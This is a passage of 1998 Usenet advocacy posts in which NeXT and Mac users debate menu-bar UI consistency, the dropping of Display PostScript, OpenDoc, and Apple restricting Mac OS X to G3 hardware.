>> Sophistry - minor technicalities of a UI widget (of which I'm well aware)
>do not
>> change the fact that the menu-bar is a menu (or list of options if you
>prefer).
>
>Nevertheless, it is a separate widget in the Mac OS, and hence has
>different behaviors.
I'm glad you can at least agree with me on that - if it was the same widget
as used in the rest of the menu-system, it would be difficult for it to be
inconsistent, as it is, it's a different widget, and is inconsistent with
the rest of the menu-system.
>> Perhaps I can rephrase in your terminology -
>>
>> A menu-bar is a a widget that lets you select from a list of text items
>> (in current MacOS, items may obnly represent menus).
>> A menu is a widget that lets you select from a list of text items
>> (each of which may represent either a menu or an operation)
>> A menu-system consists of one or more menu-bar and menu widgets.
>
>All except for that last one are correct.
The last one was a definition (for clarity) of what I mean by the term
'menu-system'. For you to assert that it's not correct is to assert that
you know what I mean by a thing better than I do myself - that's fairly
obviously an outright lie.
I think my usage of the term has actually been clear (and in line with
common usage) from the outset of this thread. It appears that your argument
that the MacOS menu-system is consistent is based solely on your redefining
'menu system' to mean 'that part of the menu system which is internally
consistent' - you must be being deliberately silly.
>> Why does a menu system need to restrict your initial selection to a menu?
>> It doesn't.
>> Why must the top-level of a menu system be laid out horizontally while
>the rest
>> are laid out vertically?
>> No reason - orientation of menus at all levels could be user selectable.
>
>Nevertheless, the way the menu system is currently set up, it is
>consistent. You claimed it wasn't. I made no claims as to whether or not
>the current system "needs to be" the way it is.
1. You redefined the term 'menu system'.
2. Just pointing out the inconsistencies, sorry if the style offends you.
>> Which is more consistent - a menu system where all the widgets behave the
>same way
>> or a menu system where the widgets behave differently?
>
>Each widget should behave consistently with other widgets of the same type.
>By your logic, any UI is "inconsistent," because not all UI widgets behave
>consistently.
Of course any UI is inconsistent when taken to the extreme.
Good UI design requires consistency until you reach the point where it's
inappropriate. The probolem with the current MacOS system is that 'menu'
and 'menu-bar' widgets perform conceptually similar jobs, and those jobs
can BOTH be performed by a NeXT+ style menu, with the performance of the
job of 'menu' being about the same (slightly improved) and the performance
of the job of a 'menu-bar' being much improved, while the menu system as
a whole would be more consistent. Consistency is not the most important
feature of the NeXT+ system, it's an added bonus.
>> See - defining a menu-bar as a different kind of widget does not make the
>system
>> any more consistent.
>
>Yes it does.
Nonsense - you are just redefineing terms.
>You incorrectly assume that for a system to be consistent,
>every widget has to behave the same.
1. No - that's not the degree of consistency I was talking about.
2. Even if it was, the meaning of the word is defined in dictionaries, not 'assumed'.
Outside the realm of mathematics, consistency is a relative term - that's
why I said the MacOS menu system could be made 'more' consistent.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c15e97.0@nnrp1.news.uk.psi.net>
Date: 31 Jul 98 06:05:11 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
>But on the Mac, you can click-release on any top-level menu item, and a
>menu will appear for you to traverse. On the Next system, this only happens
>if you click-release on a menu; if you click-release on a button, then the
>button is executed. Thus, the Mac allows you to click-release anywhere in
>the menu bar, traverse to where you want to go, and make your selection.
>With the NeXT, you have to make sure that your initial click-release isn't
>on a button.
Your point presumably being 'the poor innocent user needs to be protected
from the terrible consequences of being able to click on a button'
Well - there aren't any terrible consequences - only the advantage of having
a few useful operations that little bit more accessible.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 02:49:39 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C168FB.E0912412@earthlink.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net> <35ba359f.0@news.depaul.edu> <not-2507981504590001@ip-26-147.phx.primenet.com>
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Michael M. Eilers wrote:
> In article <35ba359f.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
>
> > Sure it does. The main market for OS X is business, and professional
> > users, particularly Apple's important customer base in graphics, design,
> > and web development. These are the people most likely to be looking
> > at NT. The longer Apple takes to ship OS/X, the more likely these
> > people are to move to NT.
>
> Exactly. Many of the people doing the Apple-bashing on this thread cite NT
> as the primary jumping-off point for Mac power users and contend that OS X
> for G3/G4 only will "drive" people to that platform. Actually, OS X is the
> only think that will *keep* those power users on the Mac platform!
<rest of argument deleted>
Not if you are sick of buying new Apple hardware while waiting for the next
coming... You can save yourself a whole lot of bucks and run a lot more
software (esp. games, of course) by buying different hardware if you have to
buy new stuff anyway, and run the Mac software on your "old" 9600/350 sitting
in the corner...
I am not arguing that we should jump to NT, only that your premise is flawed:
the requirement to buy new hardware opens up new possiblities, especially when
coupled with the bad blood engendered by Apple's move in the first place ---
your 2-month old 9600/350 can't run OS X but a slower iMac can? Does Apple
*really* want to open that customer relations can? People WILL flee, ANGRY
people WILL leave the platform. Apple's move is just *wrong*, and to those of
us who have sitting on the fence for so many years, it can only push us away
from Apple, not towards them. Go ahead and flame me, but it's a fact --- this
kind of bad move is going to push many away. Can Apple really afford *any*
more attrition, with only 4.x% marketshare?
To Apple: It's a bad move---don't do this! You've been doing so well ---
don't blow it with boneheaded greedy decisions like this. Penny wise, dollar
foolish.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: why no display postscript?
Date: 31 Jul 1998 11:19:33 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6ps985$5c1$1@sun27.hrz.tu-darmstadt.de>
References: <biggus.FILTER-3007981505130001@tele-anx0229.colorado.edu> <6pqpgk$a0n$2@news.spacelab.net>
"Charles W. Swiger" <chuck@codefab.com> wrote:
>biggus.FILTER@colorado.edu (jeff) wrote:
>>anyone know why display postscript was ditched for osx? is it that an app
>>could do the job as well without taking up system resources? (perhaps a
>>souped up ghostscript?)
>
>I don't "know" the reasons; my best guess is that Adobe wanted too much
money
>per seat for PostScript licensing, and Apple decided that they were better
>off developing or extending their own imaging models instead. It's too bad,
>because I thought the Adobe PS license was completely worth the money I
paid.
If I my add my 2c worth.. another reason may be the memory footprint of
DPS, and the fact that the printing industry is moving towards PDF. What
I find intriguing is the possiblity of a very lightweight machine that
runs some flavor of YB. Think Consumer Portable. Think Handheld. Think
Apple NC (1).
If you take into account that the NeXT stations shipped with 8 MB main
memory, (and where highly usable for a variety of purposes), it's not all
that farfetched.
(1) that which we call a rose / by any other name would smell as sweet
>What's important to me is not DPS per se, but the functionality that DPS
>provided-- things like true WYSIWYG, a unified imaging model for both screen
>and printing, and so forth. If Apple can deliver these, then I won't be
>unhappy with the switch. Otherwise, I'll miss what DPS provided, and hope
>that the other tradeoffs (posibilities like better hardware acceleration
>support, OpenGL, whatever) make up for the loss.
Absolutely. From what I can tell, the only thing we will lose is the
ability to directly preview PostScript (but Frank Siegert will fix
this in no time at all), and to use PostScript code directly in AppKit
programming - an inconvinience, but given the alternatives, I'm still
a happy camper.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 07:11:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6prqmi$hhp$1@nnrp1.dejanews.com>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <35c0de11.0@news.depaul.edu> <6pr2k7$jt2$1@nnrp1.dejanews.com> <01bdbc81$0ff68860$f9b4dccf@samsara>
In article <01bdbc81$0ff68860$f9b4dccf@samsara>,
"Jonathan Hendry" <jhendry@cmg.fcnbd.com> wrote:
> Further, just how good is MkLinux's support for those old Macs? Are
> things minimally supported, or does it fully support those Macs? How
> is the support for third-party hardware? Has anyone ever tried to
> really push the hardware?
What is your point with respect to third-party hardware? If they use the same
bus then the driver should be the same in either a G3 or pre-G3 Mac. And what
does pushing the hardware mean?
> I don't see how they're being screwed. Disappointed, perhaps, but not
> screwed. You want screwed, try people who bought PowerPC boxes to run
> NT.
Tell someone who bought a 8600 to run Rhapsody that they are not being
screwed.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 31 Jul 98 05:21:53 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E704F3-5B7C6@206.165.43.126>
References: <6pr5da$t1b@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
gupta@kcopsrm.tm.tta.moc-mirror said:
>Lawson English <english@primenet.com> wrote:
>
>>: Small wonder Jobs could kill OD so easily. So-called "experts" haven't
a
>>: clue as to what it can do.
>
>I do not make any claim to be an expert on OpenDoc. I am a user, not
>a programmer, as far as these things go. I did download the
>OpenDoc betas and play with them. But with what audience could I share
>OpenDoc documents ? What good are they to me as a user ?
You could share OD documents with ANY end-user who has OD installed, as
long as they also have the parts editors installed. Those would include
Apple's demo parts and any other freeware/shareware parts that Kantara
Software has available, as well as GX Magic and other commercial demo
parts.
You could also create content and print it using OD parts.
I don't understand the question fully. What can you do with ANY application
if the other users don't have the same app or a compatible installed? A lot
or a little, depending on the app and what you are trying to do with it.
>
>And rather than complaining about the lack of a review of Nisus' GXMagic,
>you could have written one yourself. I think you have a valid complaint
>iff you could not get any of the Macintosh sites to carry your review.
>Even your rant there did not give anyone a clue as to what GXMagic can do.
>
I was noting that Nisus Software has a new product that hasn't been
reviewed by anyone. I might be willing to write a review, but I would have
thought that they would have approached the various web-sites with at least
an announcement of their new commercial product. If they haven't, then that
is their own damn fault, but I suspect that they have tried to announce it
and were simply ignored.
Now, as to what GXMagic might do that is really cool (tm), imagine being
able to create transparent text blocks using a dedicated text editor and
then embed these blocks within another app (a drawing app) and make the
transparent text seem like it is part of the drawing app, even though you
can still edit the transparent text using the full power of the
text-editor.
Unfortunately, the demo version of the typography part appears to be unable
to print, so you can't actually print out any hybrid documents. However,
the drawing part WILL print by itself, although a rather large, transparent
"GX Magic" watermark will appear on the output.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 05:27:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7065E-60CF3@206.165.43.126>
References: <01bdbc81$0ff68860$f9b4dccf@samsara>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
>I don't see how they're being screwed. Disappointed, perhaps, but not
>screwed. You want screwed, try people who bought PowerPC boxes to run
>NT.
They CAN run NT, but not the latest versions.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 05:30:05 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E706DF-62B49@206.165.43.126>
References: <01bdbc81$ea868750$f9b4dccf@samsara>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
>Would you be happy, Lawson, if Apple released MacOS/X for the 8600, but
>no peripherals would work other than modem, video card, keyboard, mouse,
>and
>disk drives? If the sound hardware was only somewhat supported? If it
>didn't support fancy video in/out features?
If I were a developer, sure. However, I doubt if that would be the case. If
Rhapsody 1.0 is only going to work with a limited subset of PCI hardware
than Apple is REALLY screwed since the promised, over and over again, that
it would be working with ALL PCI hardware. That being the case (and it
better be or watch out Apple), they should be able to get the new IOKit
working with the same hardware that is supported by Rhapsody.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Fri, 31 Jul 1998 08:45:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-3107980845370001@wil31.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se>
In article <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > In article <slrn6r8dnf.290.jason@jhste1.dyn.ml.org>,
> > jason@jhste1.dyn.ml.org (Jason S.) wrote:
> >
> > > Joe Ragosta posted the following to comp.sys.mac.advocacy:
> > >
> > > >> >Try this:
> > >
> > > >> >fdisk
> > >
> > > >> As root - only. A sensible user doesn't do day-to-day stuff as root.
> > >
> > > >What's your choice if you're running Win95?
> > >
> > > A sensible user doesn't run Windows 95.
> >
> > That's true. But it's the major competitor to MacOS. So his criticism of
> > Mac OS isn't very valid, is it?
>
> Yes, it is. Please explain why 8.1's lacking PM has anything to do with
> the fact that it's possible to intenionally sabotage Win95.
Very simple. It's possible to make either one crash if you do something
stupid. In the case of the Mac, if the programmer does something stupid,
it can crash. In the case of Windows, if the user does something stupid,
the entire OS can be wiped out.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 08:48:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-3107980849010001@wil31.dol.net>
References: <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Wed, 29 Jul 1998, Joe Ragosta wrote:
>
> > In article <35BF17D2.C02B6554@earthlink.net>, jontemple@earthlink.net wrote:
> >
> > > Matt Kennel wrote:
> > >
> <snip>
> > > Mach 3 already runs on PCI Macs. You are just trying to complicate the
> > > issue by
> > > suggesting that mysteriously that Apple's Mach kernal will be vastly
different
> > > from the other PPC Mach kernals. It won't be --- it'll be basically
the same
> > > thing, industrial grade no doubt, but the technology involved is the same.
> >
> > Big deal. Mach runs on PCI Macs. Getting the kernel to run is probably the
> > easiest part of the job. When you can show Yellow Box and IOkit and Blue
> > Box and Carbon and PDF running on pre-G3 PCI Macs, you might have an
> > argument.
>
> Umm... you aren't helping your position. The kernel interface from the
> higher levels is the same on any machine whether it is a PowerMac G3,
> PowerBook G3, or PowerMac 8500/120. The Yellow Box, Blue Box, Carbon, and
> PDF do not care about the underlying hardware much beyond "is it PowerPC?"
>
> The only thing that will matter is the IOKit and that is the thing used to
> build the actual drivers for the machines that represent part of the
> interface seen by the other components you mention.
>
> So, _YEAH_ Getting the kernel to run _is_ probably the easiest part of the
> job. Why is it that Apple refuses to say that it is even considering it?
Apple's NOT saying that they're having problems with the kernel.
Mac OS X is not being supported on pre-G3 machines. It's NOT a kernel
issue. It's an issue of IOkit, PDF, Carbon, etc. You're essentially
agreeing with me. The fact that the kernel already runs on pre-G3 machines
is meaningless. What needs to happen is for all the other parts of
Rhapsody to run on pre-G3 machines--and that's the hard part. That's
exactly what I was saying.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 08:50:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-3107980850440001@wil31.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <35C14EB8.6976DA87@earthlink.net>
In article <35C14EB8.6976DA87@earthlink.net>, jontemple@earthlink.net wrote:
> Joe Ragosta wrote:
>
> > In article <35BF17D2.C02B6554@earthlink.net>, jontemple@earthlink.net wrote:
> >
> > Big deal. Mach runs on PCI Macs. Getting the kernel to run is probably the
> > easiest part of the job. When you can show Yellow Box and IOkit and Blue
> > Box and Carbon and PDF running on pre-G3 PCI Macs, you might have an
> > argument.
>
> Actually, Joe, I have one HELL of an argument. The kernel IS the hardest
thing. And
> the work has already been done. Those others things you mention really
only need to
> be written once --- it's all one big processor family with PPC remember?
The Mach 3
> microkernel handles an awful lot of the machine-specific interface, providing
> hardware abstraction. Once you have the microkernal, the rest is much easier.
I think you're way off base if you think getting the kernel to run on a
new architecture is the hardest part.
Getting all the drivers to work, getting the graphics architecture to
work, getting the new set of APIs to work, and testing it all is a much
bigger job than merely getting the kernel to work.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 17:10:16 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3007981710160001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com> <35bf8505.0@nnrp1.news.uk.psi.net>
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In article <35bf8505.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> For instance - you point to rigid hierarchical systems as justification
for the MacOS
> menu system having a similar structure - but don't explain why you think
that it is a
> good thing to transfer that particular structure from one problem domain
to another.
Because having a hierarchical system with a top-level item ascribes the
same level of importance to that single item as each of the other submenus.
If you have more than one top-level item, they can usually be logically
grouped into one submenu. It is not space-effective (or logical) to have
some menus with other submenus, and some individual top-level items.
Andy Bates.
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 15:46:08 +0200
Organization: The Computer Society at Lund
Message-ID: <6pshr0$2r2$1@bartlet.df.lth.se>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108>
NNTP-Posting-User: cb
In article <B1E65ACA-20BAA@206.165.43.108>,
Lawson English <english@primenet.com> wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
>>In comp.sys.next.advocacy Earl Malmrose <
>>earl.malmrose@nospam.sierra.com> wrote:
>>
>>> Well, since the new processor is backwards compatible with the old one,
>>> that's a poor reason. And this "new motherboard" as many have pointed
>>out,
>>> is extemely similar to older motherboards, with minor modifications, so
>>> there's another poor reason.
>>
>>Minor modifications that Be can't figure out?
>
>
>
>Without using expensive clean-room techniques that Apple doesn't need to
>worry about.
>
>Remember that Be Inc was GIVEN and/or licensed all the relevant info for
>all pre-G3 PowerMacs BY APPLE ITSELF but not for G3 systems.
Well, perhaps Be could take a look at www.linuxppc.org, and ask one or two
of the people _there_ ... Linux/PPC _is_ running on PowerMac G3 machines
... as is, accidentally, mkLinux, which Apple themselves are working on
...
So, right now, if Be doesn't support G3 machines, it's their own damn
fault.
(Note: I said 'ask one of the people there' rather than 'take a look at
the source', since that might infect Be's kernel source with the GPL - but
asking someone who had the information would probably not)
// Christian Brunschen
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 08:58:28 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net>
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On Fri, 31 Jul 1998, Joe Ragosta wrote:
> In article <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Wed, 29 Jul 1998, Joe Ragosta wrote:
> >
> <snip>
> > Umm... you aren't helping your position. The kernel interface from the
> > higher levels is the same on any machine whether it is a PowerMac G3,
> > PowerBook G3, or PowerMac 8500/120. The Yellow Box, Blue Box, Carbon, and
> > PDF do not care about the underlying hardware much beyond "is it PowerPC?"
> >
> > The only thing that will matter is the IOKit and that is the thing used to
> > build the actual drivers for the machines that represent part of the
> > interface seen by the other components you mention.
> >
> > So, _YEAH_ Getting the kernel to run _is_ probably the easiest part of the
> > job. Why is it that Apple refuses to say that it is even considering it?
>
> Apple's NOT saying that they're having problems with the kernel.
>
> Mac OS X is not being supported on pre-G3 machines. It's NOT a kernel
> issue. It's an issue of IOkit, PDF, Carbon, etc. You're essentially
> agreeing with me. The fact that the kernel already runs on pre-G3 machines
> is meaningless. What needs to happen is for all the other parts of
> Rhapsody to run on pre-G3 machines--and that's the hard part. That's
> exactly what I was saying.
You're not comprehending what I'm saying, and what you are saying is
wrong.
Everything about Mac OS X _except_ for the kernel and IOKit drivers is
abstracted from the hardware _through_ the kernel. The kernel interface
for these higher level parts of Mac OS X is the _same_ whether it is
running on a PowerMac 9500/120 or a PowerMac G4 766. These portions of the
OS _DO_NOT_CARE_ what the underlying hardware is. _THEY_DO_NOT_KNOW_ what
the underlying hardware is. There is no extra work to get Mac OS X
running on these machines except for the kernel and drivers. The other
parts of the OS you mention are being done _anyway_! They do *NOT* have to
be rewritten to run on pre-G3 PowerMacs.
There is no work to get PDF, Carbon, Yellow Box, and Blue Box working on
pre-G3 PowerMacs _ONCE_THE_KERNEL_RUNS_ON_THEM_! The hard part is NOT
getting PDF, Carbon, Yellow Box, and Blue Box to run on these machines.
That would come _automatically_ if Apple brings the kernel over and
writes the appropriate device drivers.
Since work on Rhapsody started back in early 1997, Apple has ported
OpenStep for Mach from a different hardware platform, is supporting it on
a wide range of PCI PowerMac _including_ PowerMac G3s on a _monolithic_
kernel which makes the job of hardware support _harder_ than on a
microkernel architecture like Mach 3.0 (with some 4.0 features). Not
only does Apple support a wide range of PowerMacs with Rhapsody, but it
_also_ supports a lot of Intel based PCs!
Good grief! Mac OS X supports a tiny fraction of hardware when its
underlying architecture only makes it _easier_ to support other hardware.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 09:07:13 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731085903.6876B-100000@ux7.cso.uiuc.edu>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <35c0cc77.0@news.depaul.edu> <Pine.SOL.3.96.980730160839.25738A-100000@ux10.cso.uiuc.edu> <35c0f418.0@news.depaul.edu>
